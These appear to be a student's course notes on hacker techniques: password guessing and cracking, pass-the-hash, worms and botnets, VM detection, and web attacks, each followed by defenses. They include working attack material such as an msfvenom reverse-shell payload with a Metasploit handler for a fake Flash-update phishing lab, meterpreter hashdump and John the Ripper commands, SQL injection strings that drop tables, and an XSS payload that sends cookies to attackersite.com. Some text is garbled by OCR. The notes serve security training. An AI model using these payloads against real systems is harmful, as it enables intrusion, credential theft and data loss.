**4) 504.4 - Computer & Network Hacker Exploits, Part 3 quick notes**

504.4 - Computer & Network Hacker Exploits, Part 3  
  
4.2 Password Attacks  
  
User passwords must be protected against:  
- unauthorized disclosure  
- unauthorized modification  
- unauthorized removal  
  
Solution: Store only encrypted or hashed passwords.  
- often referred to as password represantations  
- Windows stores them in the SAM database and in Active Directory  
- Modern Linux systems typically store them in the /etc/shadow file  
  
  
What is password guessing?  
Password guessing across the network:  
- find valid userID  
- create list of possible passwords  
- try typing in each password  
- if system allows you in, success  
- if not, try again  
  
Use a script or automated tool to improve speed and accuracy:  
- still, maximum speed typically between one guess every 3 seconds and at most five guesses per second  
- much slower than password-cracking attacks.  
  
Could trigger account lockout!  
  
- in webapps, we try a found password, for all the found user IDs. In a network we find a user ID and try different passwords to logon.  
  
Password-Guessing Alternative: Password Spraying  
  
- to avoid triggering account lockout, attackers sometimes attempt an alternative form of password guessing called password spraying. Try a small number of potential passwords against a large number of account on a large number of target machines.  
For example, try 4 passwords for Account A, then the same 4 for Account B, and so on.  
Then, if no centralized authentication mechanism is employed, move from System 1 to System 2 until bad login counter expiration timer resets.  
Choose common words, such as city names, company names, product names, and local sports teams.  
Choose names based on password reset intervals:  
- example, every 90 days, reset? Try Spring2017 and Summer2017.  
THIS is an amazingly effective technique!!!!!!  
  
THC Hydra Password Guessing:  
- guesses passwords  
- dictionary support  
- support many many protocols  
- RDP protocol finally added!!!!!!  
  
What is Password Cracking?  
Determining a password when you have only the password file with cipher text password representations:  
- find valid user ID  
- find encryption algorithm used  
- obtain encrypted password  
- create list of possible passwords  
- encrypt each password  
- see if there's a match  
  
Tips:  
- prepare a dictionary  
- prepare combinations of dictionary terms and appended/predended characters  
- automate and optimize  
  
EVERY TIME you find a password, test it against all found services such as telnet, ssh, RDP, with psexec, etc!!!!!  
  
Methods of Password Cracking  
Dictionary attack  
- using a word list  
  
Brute force attack:  
- iterating through character sets  
  
Hybrid attack:  
- a mix of the two  
- sometimes called 'word mangling'  
  
Tools such as Cain and Abel, John the Ripper, and Hashcat perform such attacks!  
  
Dictionary Attacks  
Involved using a predetermined list of password.  
Because most people use common words as passwords, this technique guesses a high percentage of passwords.  
Also, you can check concatenation of words:  
- dictionary may contain 'dog'  
- you could try 'dog', 'dogcat', 'dogcatpassword1234' and so on  
- begins to approach a form of hybrid attack  
  
  
Brute Force attacks  
- try every possible password until  you are successful:  
A,AA,AAA,AAAA,AAAB...  
Weigh characters are more likely to be used in passwords more heavily!  
  
Battle between resources (time, memory, and CPU speed) and complexity of algorithm and password.  
The amount of time required for this type of attach heavily depends on the complexity of the password encryption or hashing algorithm:  
- some algorithms are fairly strong  
- others are notoriously weak (for example, Microsoft's LANMAN)  
  
  
Hybrid Attacks:  
- start with a dictionary  
- concatenate items (numbers, letters) to the dictionary words. Example: password12.  
More advanced hybrid attacks:  
- shave characters off the dictionary term  
- make 'leet' speak substitutions in dictionary terms  
A-> 4, E-> 3, T -> 7, etc.  
  
Sometimes called word mangling.  
John the Ripper includes fantastic word-mangling rules for determining potential passwords.  
Rob Bowes and the team at SkullSecurity.org have conducted experiments using consecutive three-word hybrids from Wikepedia with good success:  
- separating words with space, +, and underscore (for example: to+bodly+go).  
How can password cracking be used for good purpose?  
  
Recovering forgotten or unknown passwords!  
  
Audit the strength of passwords:  
  
- make sure you define what is unacceptable in advance (crack in <1 hour or 20 hours?)  
- make sure you don't store cracked passwords  
- make sure you have a process of forcing users to change cracked passwords.  
  
Don't use it for migrating users to a new platform:  
  
- could hurt nonrepudiation, impacting cases:  
Internal employees who are suspects could claim that you had their passwords and have therefore framed them!  
  
Dump passwords with fgdump, hold them for 90 days and then crack them (in your organization); if you don't there could be legal ramifications because you cracked current passwords in use.  
  
  
You crack the passwords because you verify technical controls and not to find weak passwords!  
If you can crack passwords, it's not the users' fault, but it's yours because you didn't implement the technical controls in place, to allow for more secure/complex passwords!  
  
  
Cain & Abel:  
Cain under the Hood: LANMAN Hashes  
- by default, both the LANMAN and NT hashes are stored on Windows NT/2000/XP/2003  
- we still see them used in more modern AD environments for reverse compatibility  
- LANMAN hashes are weak; start removing them:  
On Windows 2000/XP/2003, password of 14 characters or less are hashed  
- pad to exactly 14 characters  
- split the 14 chars into two 7-character strings  
- use each 7-byte string as a DES key  
  
It's like they went out of their way to make it easy to crack!  
Complexity of the attack is against 7-character password.  
If an account has a password that's 15 or more characters on Win NT, SP4+, 2000, XP,2003 that account won't have a LANMAN hash - that's good.  
Windows 7 -> 10 do not include LANMAN hashes by default:  
- however, even though recent Windows versions don't store them in the registry or the running LSASS process, some programs still calculate and hold them in memory!  
  
Benchmark Results against LANMAN representations  
Brute force attack on LANMAN hashes using a single top-of-the-line PC with quad processors.  
- alpha-numeric characters: < 2 hours  
- alpha-numeric-some symbols: < 10 hours  
- alpha-numeric-all symbols: < 120 hours.  
  
So, no matter what the password is (as long as it doesn't have [alt] characters), the LANMAN hash can be cracked within 5 days:  
- adding [Alt} sequences to utilize Unicode characters boosts this time by several orders of magnitude, requiring many months of years to crack  
- also, some [alt] characters force Windows not to store a LANMAN hash:  
http://technet.microsoft.com/en-us/library/cc875839.aspx  
  
NT hash authentication is better, but not great:  
- uppercase/lowercase are preserved (thankfully)  
- password is hashed using MD4 to create 16-byte hash  
- if the password is greater than 14 characters, no LANMAN hash is stored  
  
For both LANMAN and NT hashes, no salts are used, speeding up the attack process (UNIX uses salts):  
- users with identical passwords have the same hashed value  
- you can precompute a dictionary of hashed passwords and compare against it  
  
No Salts in Windows SAM for LANMAN and NT Hashes!  
- a salt is a random number used to seed the crypto algorithm. Windows doesn't use salts for passwords; UNIX does.  
- on Linux and UNIX, each have a salt (modern LINUX systems have 8 character salts).  
  
No salts in Windows: so what?  
- without salts, an attacker can create an encrypted dictionary in advance and load it into RAM or a big file  
- then, cracking consists of rapid compares against encrypted dictionary entries. No encryption on-the-fly is required before the compare.  
- with salts, you need one encrypted dictionary for each salt:  
With 16-bit salts, you need tens of thousands of pre-encrypted dictionaries.  
With 64-bit salts, the number of dictionaries shoots way up: high impractical to store the number of pre-encrypted dictionaries.  
  
Password Cracking from Rainbow Tables  
- you can create encrypted/hashed password representations in advance:  
Store them in RAM (1-2 Gigs) or generate giant indexed files on the hard drive.  
In essence, you can pregenerate tables mapping hashes -> passwords and then just look up hashes in a massive table to determine the password.  
  
Project Rainbox Crack provides software and free tables:  
http://project-rainbowcrack.com  
  
The Free Rainbox Tables project provides free tables and lookup tools:  
http://www.freerainbowtables.com  
  
Other projects crack other types of hashing/crypto algorithms:  
MD5 Crack projects: looks up word based on unsalted md5 hash;  
http://www.md5crack.com  
  
And, this feature is supported in Cain, a tool with a great deal of functionality, including cracking Windows passwords!  
Cain and Abel tool  
- feature rich  
- Cain gathers information about local system (and sniffed data) and include a nice GUI.  
- Abel runs in the background and allows remote dumping of information about a target.  
  
  
  
Cain can crack numerous Windows password formats:  
STORED in SAM and Active Directory:  
- microsoft LANMAN  
- NT Hash  
  
STORED or used for authentication across the network:  
- LM challenge/response (passed across the network)  
- NTLMv1 and NTLMv2 (passed across the network)  
- MS-Kerberos5 Pre-Auth  
  
  
Obtaining the password hashes  
  
- several ways to obtain the password hashes:  
- we can use the LLMNR!!!  
  
If administrator:  
- dump password hashes from Domain Controller  
- use Cain, Abel or pwdump tools  
- pull from Volume Shadow Copy on domain controllers  
- Fizzgig's fgdump, which shuts down AV tools:  
    www.foofus.net/fizzgig/fgdump  
  
- use Metasploit Meterpreter hashdump script to pull them from memory or hashdump command to pull from registry:  
meterpreter> hashdump             <-- pulls from memory  
meterpreter> run hashdump         <-- pulls from registry  
  
If not administrator:  
Boot into another operating system (such as Linux) and copy the SAM:  
- one such tool is by P.Nordahl at http://pogostick.net/~pnh/ntpasswd/  
- obtain a copy from c:\windows\repair or backup directory  
- obtain a copy from a tape or emergency repair disk  
- sniff passwords off the network using Cain's sniffers!  
  
When you are hacking, you are doing abnormal things to computer systems!  
Never dump passwords from a domain controller with "hashdump" or "run hashdump", it will crash your domain controller!  
Instead do Volume Shadow Copy on domain controllers!  
  
Tricking Users to Send Password Hashes  
You could send an email to users that tricks them into clicking a link (using either file:// or smb://) to mount a file share on the attacker's machine.  
  
- if their client has SMB access to an attacker-controlled system, Windows attempts to perform a challenge/response authentication using LANMAN Challenge/Response, NTLMv1, NTLMv2 or Microsoft Kerberos.  
- Cain can sniff those exchanges and crack the passwords associated with them!  
  
  
Defenses: Preparation  
- get rid of LANMAN hashes on local systems  
- disable LANMAN challenge/response authentication across the network, instead forcing network authentication to use NTLMv2.  
- enforce the use of strong passwords  
- have a password policy!  
- implement SYSKEY  
- it's an extra layer of encryption for the SAM Database  
- protects only hashes when stored in the registry; they can still be grabbed from memory via tools like pwdump, fgdump, Cain and the Metasploit Meterpreter.  
- protect your SAM database.  
Disabling LANMAN Authentication  
- stop storing LANMAN hashes by defining reg key:  
- HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\LSA  
  
  
- on the Edit meny, click Add Key, type NoLMHash, and then click OK.  
- LM hashes disappear when user next changes password.  
  
Stop sending LANMAN Challenge/Response across the network:  
- LMCompatibilityLevel registry parameter.  
  
Level3 - Send NTLMv2 authentication only - good for clients  
Level5 - Domain Controller refuses LM and NTLM authentication (accepts only NTLMv2) - good for servers.  
Compatibility issues with older versions of Windows.  
  
  
  
Windows and third-party password complexity tools  
  
Windows includes rudimentary password complexity enforcement:  
- can be enforced with Group Policy, if you have Active Directory  
- to thwart brute-force attacks and rainbow-table attacks, password length is often more important than complexity  
- actually, password length is one of the most important tools you have to force passphrases and foil password attacks  
  
Consider 20 or 30 character passphrases, if possible.  
  
  
  
John-the-Ripper:  
www.openwall.com/john/  
  
You must feed it an encrypted password file!  
On a UNIX system without shadowed passwords, just feed it /etc/passwd.  
With shadowed passwords, you need root-level access and must merge /etc/passwd and /etc/shadow  
  
#unshadow /etc/passwd /etc/shadow > combined  
  
For Windows passwords, just give john the text-based output from pwdump3 and fgdump.  
  
- Hashcat is the next   
password cracking tool, but it needs GPUs.  
  
/etc/passwd has one line per account with colon-separated fields:  
[login name] : [encrypted password]: [UID Number]:[Default GID] : [GECOS Info] : [Home Dir] : [Login shell]  
  
Here’s an example:  
  
smith:\*:1OO:1OO:Fred Q. Smith:/home/smith:/usr/hin/sh  
  
If passwords are shadowed, the [encrypted\_password] field ‘will contain “x”, “\*“, or "!!”  
  
Some UNIX and Linux types support shadowed passwords, where password data is no longer in /etc/passwd  
  
- /etc/shadow is readable only with superuser privileges (UID o)  
- /etc/shadow also has one line per account as well, separated by colons  
  
Linux /etc/shadow format is:  
  
[login name] : [encryptedassword):  
[Dat e of last pw change] 2 [Mm pw age in days]:  
[Max password age in days]:  
[Advance days to warn user of pw change]:  
[Days after pw expires to disable account]:  
[Account expiration date] : [Reserved]  
  
John's Cracking Modes  
  
Single Crack Mode:  
- uses variations of account name, GECOS and more  
  
Wordlist Mode:  
- uses dictionary and hybrid  
  
Incremental Mode:  
- uses brute force guessing  
  
External Mode:  
- uses an external program to generate guesses  
  
  
John supports (and autodetects) just about any formats.  
  
Cracked password printed on the screen and stored in the file john.pot.  
Remember to remove this file when you finish with a password audit.  
If a password doesn't crack in a few seconds/minutes, it probably will take a long time to crack!  
  
Defenses: Unix password cracking: Preparation  
- establish password policy  
- guard the password file! carefully protect backups, physically protect system built media.  
- enforce the use of strong passwords with PAM or related tool!  
- use shadow passwords.  
- use other forms of authentication: crypto-based and token-based!  
  
Use PAM to Enforce Password Complexity   
PAM = Pluggable authentication modules.  
Can link UNIX login to various systems: Radius, Kerberos and more.  
Can enforce password complexity:   
- specific module available at http://www.openwall.com/passwdqc/  
- works for Linux, FreeBSD, and Solaris.  
  
  
Lab John the Ripper  
Creating Passwords to Crack  
- create some accounts for temporary use:  
#useradd homer -s /sbin/nologin  
#passwd homer  
homerhomer  
  
#useradd marge -s /sbin/nologin  
#passwd marge  
password  
  
#useradd lisa -s /sbin/nologin  
#passwd lisa  
passwor8  
  
#useradd bart -s /sbin/nologin  
#passwd bart  
<your choice!>  
  
Retrieve Passwords on Linux  
- on linux, account information is stored in /etc/passwd  
Login Name and username are listed  
  
Cryptographic representations of passwords are usually stored in /etc/shadow.  
- verify that you have a shadow password file:  
#cat /etc/shadow  
  
On a system with shadowed passwords, to crack the passwords, the attacker uses both /etc/passwd and /etc/shadow.  
For this lab, you work with a copy of /etc/passwd and /etc/shadow  
#cp /etc/passwd /tmp/passwd\_copy  
#cp /etc/shadow /tmp/shadow\_copy  
  
Before cracking the passwords, the account (/etc/passwd) and password (/etc/shadow) information are combined into one file. The unshadow tool does this:  
  
#unshadow /tmp/passwd\_copy /tmp/shadow\_copy > /tmp/combined  
  
The combined file is used as input for John.  
Make sure it has some data in it:  
#less /tmp/combined  
  
John automatically recognized the format of the input password file.  
Look at John's dictionary:  
#less /opt/john-1.8.0-jumbo/run/password/lst  
  
  
John the Ripper Output  
- hybrid guesses and scrambling are applied for each guess  
- when a password is cracked, the results displays on screen  
- while John is running, press the space key to get status and current guess.  
- cracking could take from minutes to years, depending on the complexity of the passwords cracked.  
  
Run John now:  
#john /tmp/combined  
  
Press the space key periodically to check status!  
Let it run for only approximately 5 minutes!  
  
Running John on Windows:  
- next, run the Windows version of John the Ripper.  
- unzip john179j5w.zip into a suitable directory on your hard drive (such as c:\tools)  
- you have a SAM file on the course USB:  
sam.txt in the Windows directory  
  
  
c:\tools\run\>john.exe sam.txt  
c:\tools\run\>john.exe sam.txt --format=nt sam.txt  
  
  
Pass-the-Hash attacks  
After an attacker has stolen the hashes, instead of cracking the original passwords, why not just use the hashes to authenticate to the target machine?  
Windows completes LANMAN challenge-response, NTLMv1 and NTLMv2 entirely from the LANMAN and NT hashes stored for that user in the running LSASS process.  
This approach saves a significant amount of time.  
However, it does require the attacker to steal the hashes in the first place:  
- so does password cracking.  
  
1. Steal the hashes --> 2. Place hashes into memory --> 3. Access target using SMB.  
  
  
Tools for Pass-the-Hash  
Windows tool for passing the hash:  
Windows Credential Editor (WCE) an improved version from Herman Ochoa that runs on Windows 7 and later.  
Free at http://www.apliasecurity.com/research.  
Now also supprts 'pass-the-ticket' for Microsoft's implementation of Kerberos.  
Linux tool for passing the hash: Modified SAMBA code from JoMo-Kun of Foofus.  
Metasploit 'psexec'module supports pass the hash.  
Either tool can also be used for attacking Windows targets and target Linux/UNIX SAMBA file servers.  
Mimikatz is an outstanding tool for extracting clear-text passwords from memory. Can be used with Rubber Duckie.  
  
Defenses  
Preparation: Maintain control of hashes:  
- patch systems  
- harden machines  
- use endpoint security suites  
- use host firewalls to block client-to-client connections, allowing inbound SMB to client systems only from admin machines.  
- consider using a unique or pseudo-random local admin password different for each system.  
  
Identification: Look for unusual admin activity on a machine:  
- configuration changes, and so on.  
- look for unusual machine-to-machine connections, such as clients attempting to mount shares on clients, servers connecting to servers, etc.  
- LAPS from Microsoft  
- use Application Whitelisting!  
  
Cont, Erad, Recovery: change password immediately!!!!!  
  
  
4.3 Worms, Bots, and Bot-Nets  
  
Compromising systems onebyone can be such a chore  
• Worms are attack tools that spread across a network, moving from system to system exploiting weaknesses  
• Worms automate the process of compromising systems  
— Take over one system  
— From current victim, scan for new vulnerable systems  
— Self replicate by using one set of victims to find and conquer new targets  
  
To avoid this drudgery of compromising systems one at a time, attackers have increasingly turned to worms.  
  
Worms automate the process of compromising systems.  
Indeed, in the history of the Internet, worms have caused the widest spread damage of any computer attack techniques. For the uninitiated, worms are automated attack tools that spread via networks. A worm hits one machine, takes it over, and uses it as a staging ground to scan for and conquer other vulnerable systems. When these new targets are under the worm’s control, the voracious spread continues as the worm jumps off these new victims to search for additional prey. Using this process, worms propagate across a network on an exponential basis.  
  
To date, most worms have had only one or two exploits built in: Witty, Sasser, Code Red, Slapper and such.  
Ramen had 3 exploits (buffer overflow). Nimda had approximately 12 (buffer overflows, browser vulns, Outlook email problems, and more).  
  
Polymorphic worm can change its signature base!  
  
Metasploit has XOR payloads and encoders!  
Veil has multiple AV bypass encoders!  
  
Metamorphic Worms:  
- beyond just changing their appearance, they will change their entire functionality!  
- worm will contain encrypted/obfuscated payloads.  
  
More worms are used to distribute bots!  
  
Attacker takes over website - send link to victim - victim gets infected because or browser exploit (Java, Flash, etc) - attacker responds with loading bots and controls the computer!  
Attacker communicate with their boths using IRC standard port (TCP 6667), HTTP(S) to one or more websites, DNS, Social Networking site profiles (youtube, google documents, etc).  
  
  
Fast Flux techniques  
  
Attackers want to preserve critical elements of their botnet infrastructure, such as possibly an IRC controller, phishing web server, or critical servers.  
An investigator eqipped with the domain name and IP address of such systems can contact an ISP to get them taken offline or cleaned up.  
Attackers are clever in disguising where thei critical backend resources are located. Fast Flux techniques add extra laters of obscurity!  
a  
It's easier for an attacker to use an infected computer and use Outlook to send a copy of the infected email to the contacts list of the victim. This way they take advantage of the trust relation between the victim and future victim or contacts!  
  
  
  
Why not go after the DNS server hosting the record for fakebank.com?  
- DNS server is often hosted in a country without cyber crime laws  
— Double-flux techniques make the attacker’s DNS server fluctuate in a similar fashion.  
  
  
Preparation:  
— Buffer overflow defenses help a lot here:  
• Patches, non-executabie system stacks, and host-based IPS  
  
A process for rapidly testing and deploying patches when available  
— Use application whitelisting or Software Restriction PolIcies  
- Encrypt data on your hard drives:  
If its stolen by a worm or hot, attackers can’t read it unless they also steal the key  
  
• Identification:  
Antivirus solutions updated regularly (daily)  
• At the desktop AND at the mail sener ... AND at the file server.  
  
• Containment:  
Incident response capabilities, linked with network management.  
You may need to cut off segments of your network in real time.  
  
• Eradication/Recovery:  
- Use AV tool to remove infestation, if possible, or rebuild  
  
BIG Lab:  
  
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse\_tcp lhost=10.10.75.1 lport=4444 -f exe -o /tmp/FlashUpdate.exe  
  
cd /tmp/  
python -m "SimpleHTTPServer" &  
  
- start a new window  
#msfconsole -q  
use exploit/multi/handler  
set payload windows/meterpreter/reverse\_tcp  
set lhost 10.10.75.1  
exploit  
  
  
- we will start Beef in a 3rd window:  
#source /usr/local/rvm/scripts/rvm  
  
#rvm use 2.1.5 -- default  
cd /home/tools/beef/  
  
#ruby beef  
  
(the above is how we setup a spearphishing attack in real life!)  
  
- in a real world environment we would use TinyURL or buy a domain and point it somewhere else, in order to obfuscate the true website!  
  
Don't use the Metasploit exploits in BeEf, as it doesn't work the way you expect it!  
Use instead the Social Engineering modules!  
Then use the Fake Flash Update!  
Under Image, change the HTTP IP address to your system's IP address and path.  
Also change the CUstom Payload URI to  
http://10.10.75.1:8000/FlashUpdate.exe  
Click Execute!  
  
Go back to the browser you opened with the website you sent to the victim!  
Click Install!  
Keep the Flash update, because it's trustworthy.... NOT :)   
Browse back to the Meterpreter listener, where you should have a shell waiting for you!  
  
This should help you understand how we get the initial foothold and then pivot into another system!  
  
  
4.4 Virtual Machine Attacks  
- detecting virtual machines  
- this is a growing area of research in the computer underground which involves detecting virtual machines!  
- we can use VMware, VirtualPC, Qemu and Xen.  
- malicious code authors like to do this because they can run differently if they are on a virtual machine: helps confuse malware reverse engineering, it's also useful for attackers to find honeypots, and it could be a precursor to virtual machine escape!  
In the past, this detection focused on detecting VMware tools or other artifacts in the file system. But attackers have gone way beyond such techniques!  
  
  
Local Virtual Machine Detection  
- goal: detect if you are inside of a virtual machine from within the machine.  
- there are currently four categories of methods for locally detecting the presence of a virtual machine: looks for VME (virtuam machine environment) artifacts in processes, file system, and/or registry.  
Look for VME artifacts in memory: the Red Pill looks for shifted Interrupt Descriptor Table. Scoopy looks for shifted Interrupt, Local and Global Descriptor Tables.  
Look for VME-specific VMware hardware. Doo looks for specialized VMware hardware.  
Look for VME-specific processor instructions and capabilities.  
Covers nearly all the elements of the virtual machine.  
  
VMcat...  
- a true escape would allow an attacker in a guest to execute code on the host!  
- vulnerabilities have been discovered that could lead to VM escape!  
  
Defenses:  
- it comes to architecture!  
- keep your guests, hosts and especially the VME product itself patched thoroughly!  
- hardening guide for VMware ESX server from Center for Internet Security available at www.cisecurity.org  
- be careful of the security implications of server consolidation and client cost-savings with virtuam machines!  
- not just a honeyport issue but instead extends to production.  
- don't mix weak systems with strong systems on the same VME.  
- don' mix sensitive data and public data on same VME.  
- virtuam machines are not firewalls; firewalls and firewalls!  
  
  
4.5 Web Application Attacks  
  
Open Web Application Security Project (OWASP). A great guide to Building Secure Web Apps and Web Services!  
www.owasp.org  
  
Account Harvesting:  
- the ability to discern valid userIDs, by observing how the server responds to valid versus invalud authentication requests.  
- attackers automate harvesting through scripts, using shell scripting with a tool such as wget or using Perk with CURL, a general purpose library for making web requests.  
- script based harvesting depends on format of userID, whether it is numeric (exploit by incrementing through pattern) and user specified: exploit via dictionary file and permutations.  
  
To determine valid and invalid userIDs we can spray userIDs against your logon portal!  
  
Remember the need for a Good Password Set!  
In the above case, we can use BurpSuite Pro to harvest accounts and try passwords!  
  
Defenses  
Preparation:  
- all authentication error messages must be consistent! There should be no differences between the bad UserID and good UserID/bad password conditions.  
- userIDs should be tracked for a given number of bad logins and then temporarily lock out account. Account lockout could be timed to restore access after 30 minutes, or require a call to the help desk. Be careful about the cost of helpdesk calls for account lockout resets!  
- slow down authentication and verification responses. Wait 5+ seconds for verification, then get longer as the failed logons/checks mount. This can be on a per IP/User Agent String basis.  
- Identification: frequent login attempts with no activity even after successful login.  
- Cont, Erad, Recov: N/A.  
  
Command Injection:  
These commands are ideal because:  
— They don't require high privileges to execute and they are benign  
— They show that there is outbound traffic from the target:  
- And with nslookup, that outbound mechanism might not even be direct at all ... it could have been forwarded through one or more DNS servers, but it is still command execution!  
— And they work in a blind fashion because the attacker can sniff to see if they worked without seeing the output of the command  
  
  
  
- After the attacker verifies command execution, the attacker could have the target machine mount a share on another attacker controlled system and then transfer or execute programs on the target    
- Many automated scanning tools fail to find this flaw because they try to ping an unroutable RFC 1918 address of the attacker’s machine  
- Manual verification is often required!  
  
Command Injection Defenses:  
Preparation:  
— Educate developers to be careful with user input  
- Conduct vulnerability assessments and penetration tests regularly  
• Identification:  
— Look for unusual traffic outbound from web servers  
— Look for extra accounts or other configuration changes on servers  
• Containment:  
— Fix the application, and consider a Web Application firewall  
— Remove attacker software and accounts  
— Cheek for a roothit  
• Eradication:  
If roothit were installed, rebuild  
• Recovery:  
— Watch for attacker's return  
  
  
SQL injection:  
  
- most web apps have a web server with a backend database.  
- the web app takes user input and plops it into an SQL statement to get/update data in the database.  
  
example:  
select [field] from [table] where [variable] = '[value]';  
  
update [table] set <variable> = '<value>';   <---- often contains user input!  
  
  
Various tools automate scanning for SQL injection flaws:  
Ninap Scripting Engine script:   
http://ww.nrnap.org  
  
Zed Attack Proxy (ZAP):   
http://www.owasp.org/index.php/OWASPZe& Attack\_Proxy\_Pioject  
  
Burp Suite:   
http://www.portswigger.net/  
  
Sqlmap:   
http://sqlmap.sourceforge.net  
  
Havij:   
http://w.itsecteam.com/products/havij-advanced-sql-injection/  
  
After a target user input string has been identified, use standard database logic elements and see what happens!  
— Double dash (--): Comment delimiter  
— Semicolon (;): Query terminator  
— Asterisk (\*): Wildcard selector  
— Percent (%): Matches any substring  
— Underscore (J: Matches any character  
  
• Other useful entities are OR, TRUE, 1=1, SELECT, JOIN, and UPDATE  
  
Suppose web app has:  
select \* from users where name ‘ [value]  
  
• Suppose attacker types in a name of:  
Fred’  
  
• Resulting SQL will be:  
select \* from users where name = ‘Fred’’;  
  
• Those final two’ marks cause a syntax error!  
\* Error messages vary but could include “Database error,” “Syntax Error,” or a generic error message  
  
Suppose web app has:  
select \* from users where name = ‘ [value] ‘;  
  
• Now, attacker types in a name of:  
Fred'; drop table users;--  
  
• Resulting SQL is:  
select \* from users where name = 'Fred'; drop table users;--';  
  
• Everything after -- will be ignored  
— The table users will be deleted!  
— Some database types can accept /\* for a comment delimiter as well  
  
Suppose web app has:  
select \* from users where name = '[value]';  
  
• Now, attacker types in a name of:  
' or 1=1;—-  
  
• Resulting SQL is:  
select \* from users where name = '' or 1=1; --';  
  
• 1=1 is always true, and anything or true is true  
  
Therefore the database returns some data. Possibly the admin's ID number, if it's the first in the table.  
  
  
Suppose web app has:  
select \* from users where name = ‘[value]‘;  
  
• Now, attacker types in a name of:  
Fred’ union select name,1, ‘1’,1, ‘1’ from master..sysdatabases;-—  
  
• On MS SQL Server, this retrieves database names:  
Fred’ union select name,1,’1’,1,’1' from [db\_name]..sysobjects where xtype= ‘U’;--  
  
• On MS SQL Server, this retrieves table names  
- Similarly, an attacker can grab column names, look at values stored in individual columns, join tables, and more  
• It’s pretty much raw access of the database ... with the credentials that the web app uses to log in to the database  
  
  
Defenses: Preparation:  
Limit the permissions of the web app when accessing the database:  
— Won’t eliminate SQL Injection but can limit damage  
• Consider using pararneterized stored procedures:  
- Code splits up user input into parameters fed to stored proc in database  
— White paper on the topic at do-stored-procedures-protect-against-sql-injection.aspx  
  
• On the server side, the app should filter user input, removing:  
- Quotes of all kinds (i.e.  ,’, ‘,“,and “).  
— Minus signs (-) Semicolons (;) Asterisks (\*) Percentages (%) Underscores (\_)  
— Other shell/scripting metacharacters (=&\\*?~<>^()[]{}$\n\r)  
  
• Your best bet: Define characters that are ok (alpha and numeric), and filter everything else out ... filter after canonicalization of input  
• You must do this on the server side! Client-side filtering is easy to bypass  
• Modsecurity offers solid filtering features for Apache, ITS, and Nginx  
• PHP DO  
• For those characters you actually need, introduce a substitute: Apostrophe can be changed to &ap, less than can become &lt, and so on.  
  
  
Identification  
— Search web application logs for special characters (‘;“ etc.) or phrases such as union, select, join, and inner  
— DLP tools may detect exfiltration event for P11. Although encryption may hamper the abi1ity to detect  
  
• Containment:  
— Block source IP address and/or account being exploited  
  
• Eradication and Recovery:  
— Remove attacker data from the system  
  
If people launch this kind of attack against you, filter their source IP address and/or user account at a firewall or in the web application.  
  
Eradication and Recovery for such attacks involve removing any attacker-placed data from the database. Involve your antifraud group (if your organization has one) to help investigate what the attacker attempted to do.  
  
Defenses Identification and Containment SQL Injection  
— Launch fraud investigation if required  
  
  
Cross-Site Scripting:  
  
- Consider a website that gathers user input  
- User input is sent back to user’s browser without filtering  
- “You just typed in the following, right?” [userjnput]  
• Attacker crafts URL with a script in it:  
— Script in the URL is sent to server as user input  
- User input displayed back to user; script “reflected" back to client  
— Script runs on client browser  
• Which do you want to search for? You want to search on:  
<SCRIPT LANGUAGE=Javascript>alert (“You are vulnerable to cross-site scripting!”) ;</SCRIPT>  
  
Attacker’s script must be sent to the victim:  
— URL embedded in an e-mail or newsgroup posting  
— URL provided on a third-party website (either clicked by victim user or automatically loaded when visiting a malicious website)  
— Inter-user communication within the target site (such as message board)  
  
• Amazing website with various cross-site scripting encoding techniques at:  
https://www owasporg/indexphp/XSS\_FiIter Evasion  
  
  
Attacker intends to obtain sensitive data from victim user that is only accessible in the security context of the target site:  
— For example, I want to steal your online banking cookies!  
— Or, the attacker wants to run transactions as a victim user  
  
• Attacker searches target site to find CGI/ASP/JSP/PHP script that does not filter user supplied input, especially HTML <SCRIPT> tags:  
— The site displays hack to the user something the user types in  
  
• Attacker writes a URL with specialized browser script (most likely in JavaScript) that performs an action as a victim user on the target site:  
http://counterhack.net/search.ehp?word<SCRIPT LANGUAGE=Javascript>alert (“Vulnerable! “) ;</SCRIPT>  
  
• That merely pops up a dialog box. Here is a browser script that steals a cookie associated with counterhack.net and delivers it to a web server at attackersite,com:  
- http://counterhack.net/search.php?word=<SCRIPT>docurment.location=’http:!/attackersite.com/cgi-bin/grab.cgI?’%2bdocument.cookie;</SCRIPT>  
  
  
0) Victim uses a website that sets cookies on the victim’s browser  
1) Victim clicks a URL or visits a website that includes the malicious script  
2) Victim user’s browser transmits malicious code to the vulnerable target site as a web request  
3) Target site reflects the malicious code back to the victim user’s browser in the response to the request  
4) Malicious code executes within victim user’s browser under the security context of the target site.  
  
Look by the Symantec white paper on "Drive-by Pharming"!  
  
Jikto tool by Billy Hoffman performs a Nikto scan of internal websites using XSS functionality.  
Dan Kaminsky has demonstrated arbitrary TCP access via browser scripts.  
  
Don't forget about the BeEF frameowork, by Wade Alcorn!  
  
  
Beyond inserting scripts, attackers could also insert text or even pictures to confuse web surfers  
• A rash of these issues were discovered for news sites September 2004  
• CNN was a notable example, fixed in 24 hours  
• E-mail to victim says to surf here:  
http://weather.enn.com/weather/search?wsearch=%461%6fri%64a%22%2o%3ci%ódg%2osrc%3dh%74tp:%2f/w%77w%%eobtu%73e%2e%6eet%2fa%2e%6apg%3e  
• Thats an encoded form of:  
http://weather.cnn.com/weather/search?wsearch=Florida” <img src=http://www.obtuse.net/a.jpg>  
  
  
Many applications have an administrative console accessed using a browser  
• Such applications typically log all kinds of things:  
— Date and timestamp  
— User account  
— Transaction type and transaction details  
— User agent string (browser type)  
— Possibly packet logs  
• The administrator reviews these logs using app-level credentials in the application  
  
How to send scripts?  
— HTTP / HTTP$ via web app (of course), E-mail, FTP  
— Other possibilities:  
• US, Postal Service  
• Mag Stripe  
• Electronic Data Interchange (EDT)? X.25? SS7?  
— With webified applications thirsty for scripts, any form of data input could be a vehicle for malware infiltration  
• Concerns for networks built around Bell-LaPadula model of “no write-down, no read up”  
• As designed, this stops info leakage. But it does allow for malware infection  
  
Defenses: Preparation:  
  
Remove from user input all characters that are meaningful in scripting languages: =< >“‘Q;&  
— You must do this filtering on the server side  
You cannot do this filtering using JavaScript on the client because the attacker can get around such filtering  
  
• More generally, on the server side, your application must filter out:  
— Quotes of all kinds C, “, and’)  
— Semicolons (;), Asterisks (\*), Percentages (%), Underscores (\_)  
— Other shell/scripting metacharacters (=&\|\*?—<>^()[]{}$\n\r)  
• It’s also good idea to delete or encode these from website output, too!  
